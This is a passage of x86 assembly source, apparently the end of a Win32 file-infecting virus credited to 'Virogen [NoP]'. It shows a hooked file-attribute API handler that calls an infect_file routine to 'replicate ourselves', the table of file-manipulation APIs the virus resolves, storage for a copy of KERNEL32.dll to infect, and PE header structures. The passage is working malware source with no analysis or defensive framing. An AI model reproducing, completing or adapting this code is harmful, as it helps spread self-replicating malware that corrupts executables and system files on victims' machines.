|
|
|||
|
|
lea eax,[ebp+jmpback] ; get jump back ptr
|
|||
|
|
mov [ebp+jmpbackptr],eax ; save jump back ptr
|
|||
|
|
|
|||
|
|
cmp ecx,MEM_ID ; is it us?
|
|||
|
|
jz abort_mem ; if so then abort
|
|||
|
|
|
|||
|
|
mov byte ptr [ebp+infkern],0 ; we're infecting normal
|
|||
|
|
|
|||
|
|
mov eax,[esp+24h] ; ptr to filename is here
|
|||
|
|
mov [ebp+fnameptr],eax ; save ptr to filename
|
|||
|
|
call infect_file ; replicate ourselves
|
|||
|
|
abort_mem:
|
|||
|
|
pop ebp ; restore regs
|
|||
|
|
pop esi
|
|||
|
|
pop edi
|
|||
|
|
pop edx
|
|||
|
|
pop ecx
|
|||
|
|
pop ebx
|
|||
|
|
pop eax
|
|||
|
|
popfd
|
|||
|
|
|
|||
|
|
db 0FFh,25h ; jmp [ ]
|
|||
|
|
jmpbackptr dd offset jmpback
|
|||
|
|
|
|||
|
|
jmpback dd 0 ; original API VA
|
|||
|
|
|
|||
|
|
db '<27> [LoRez] v1 by Virogen [NoP] <20>' ; it's i said the fly
|
|||
|
|
|
|||
|
|
kernfile db '\KERNEL32.dll',0 ; our kernel filename
|
|||
|
|
kernfile_e:
|
|||
|
|
|
|||
|
|
APIs: ; structure of ptrs to our API names
|
|||
|
|
dd offset GetTicks
|
|||
|
|
dd offset GetWinDir
|
|||
|
|
dd offset SetAttrib
|
|||
|
|
dd offset CreateFile
|
|||
|
|
dd offset SetFilePtr
|
|||
|
|
dd offset ReadFile
|
|||
|
|
dd offset WriteFile
|
|||
|
|
dd offset CloseFile
|
|||
|
|
dd offset GetSysDir
|
|||
|
|
dd offset CopyFile
|
|||
|
|
dd offset GetFileTime
|
|||
|
|
dd offset SetFileTime
|
|||
|
|
dd offset ExitProc
|
|||
|
|
dd offset GetAttrib ; the last entry is our hooked API
|
|||
|
|
dd 0
|
|||
|
|
; our API names
|
|||
|
|
GetTicks db 'GetTickCount',0
|
|||
|
|
GetWinDir db 'GetWindowsDirectoryA',0
|
|||
|
|
SetAttrib db 'SetFileAttributesA',0
|
|||
|
|
CreateFile db 'CreateFileA',0
|
|||
|
|
SetFilePtr db 'SetFilePointer',0
|
|||
|
|
ReadFile db 'ReadFile',0
|
|||
|
|
WriteFile db 'WriteFile',0
|
|||
|
|
CloseFile db 'CloseHandle',0
|
|||
|
|
GetSysDir db 'GetSystemDirectoryA',0
|
|||
|
|
CopyFile db 'CopyFileA',0
|
|||
|
|
GetFileTime db 'GetFileTime',0
|
|||
|
|
SetFileTime db 'SetFileTime',0
|
|||
|
|
ExitProc db 'ExitProcess',0 ; only used in original host
|
|||
|
|
GetAttrib db 'GetFileAttributesA',0
|
|||
|
|
|
|||
|
|
API_Struct: ; structure for API VAs
|
|||
|
|
GetTickCountAPI dd 0
|
|||
|
|
GetWinDirAPI dd 0
|
|||
|
|
SetAttribAPI dd 0
|
|||
|
|
CreateFileAPI dd 0
|
|||
|
|
SetFilePtrAPI dd 0
|
|||
|
|
ReadFileAPI dd 0
|
|||
|
|
WriteFileAPI dd 0
|
|||
|
|
CloseFileAPI dd 0
|
|||
|
|
GetSysDirAPI dd 0
|
|||
|
|
CopyFileAPI dd 0
|
|||
|
|
GetFileTimeAPI dd 0
|
|||
|
|
SetFileTimeAPI dd 0
|
|||
|
|
ExitProcessAPI dd 0
|
|||
|
|
GetAttribAPI dd 0
|
|||
|
|
FileOff dd 0
|
|||
|
|
APIStructEnd:
|
|||
|
|
|
|||
|
|
; data below is not written to disk, but is allocated by object
|
|||
|
|
vend:
|
|||
|
|
|
|||
|
|
handle dd 0 ; file handle
|
|||
|
|
infkern db 0 ; kernel infection flag
|
|||
|
|
ptrpeheader dd 0 ; offset of PE header
|
|||
|
|
ObjTbloff dd 0 ; offset of object table
|
|||
|
|
objtblVA dd 0 ; VA of object table
|
|||
|
|
bytesread dd 0 ; return from fread/fwrite
|
|||
|
|
|
|||
|
|
nameptrtbl dd 0
|
|||
|
|
adrtbl dd 0
|
|||
|
|
ourAPIptr dd 0
|
|||
|
|
curAPIptr dd 0
|
|||
|
|
ordinaltbl dd 0
|
|||
|
|
originalRVAptr dd 0 ; RVA ptr to our hooked API RVA
|
|||
|
|
originalRVA dd 0 ; orginal RVA of our hooked API
|
|||
|
|
chkRVA dd 0
|
|||
|
|
originalpsize dd 0
|
|||
|
|
hookRVA dd 0
|
|||
|
|
virusRVA dd 0
|
|||
|
|
hdrread dd 0
|
|||
|
|
lastobjimageoff dd 0
|
|||
|
|
objtext dd 0
|
|||
|
|
creation dd 0,0 ; our file time structures
|
|||
|
|
lastaccess dd 0,0
|
|||
|
|
lastwrite dd 0,0
|
|||
|
|
|
|||
|
|
oldattrib dd 0 ; stored file attribs
|
|||
|
|
fnameptr dd 0 ; ptr to file name we're infecting
|
|||
|
|
fname db 64 dup (0) ; storage for source kernel32.dll
|
|||
|
|
copyfname db 64 dup (0) ; storage for dest. kernel32.dll
|
|||
|
|
|
|||
|
|
peheader: ; PE header format
|
|||
|
|
signature dd 0
|
|||
|
|
cputype dw 0
|
|||
|
|
numObj dw 0
|
|||
|
|
dd 0,0,0
|
|||
|
|
NtHeaderSize dw 0
|
|||
|
|
Flags dw 0
|
|||
|
|
dd 0,0,0,0
|
|||
|
|
entrypointRVA dd 0
|
|||
|
|
dd 0,0
|
|||
|
|
imagebase dd 0
|
|||
|
|
objalign dd 0
|
|||
|
|
filealign dd 0
|
|||
|
|
dd 0,0,0,0
|
|||
|
|
imagesize dd 0
|
|||
|
|
headersize dd 0
|
|||
|
|
|
|||
|
|
db MAX_HDR*2 dup (0)
|
|||
|
|
buffer_end:
|
|||
|
|
ends
|
|||
|
|
end vstart
|
|||
|
|
|
|||
|
|
|